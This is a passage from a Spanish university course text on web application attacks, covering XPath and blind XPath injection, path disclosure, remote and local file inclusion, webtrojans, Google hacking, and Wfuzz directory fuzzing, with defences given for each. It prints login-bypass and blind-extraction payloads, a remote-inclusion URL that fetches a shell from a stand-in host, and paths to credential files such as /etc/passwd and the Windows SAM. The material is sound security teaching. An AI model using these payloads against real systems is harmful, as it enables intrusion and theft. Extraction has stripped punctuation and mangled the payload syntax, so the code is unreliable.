ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

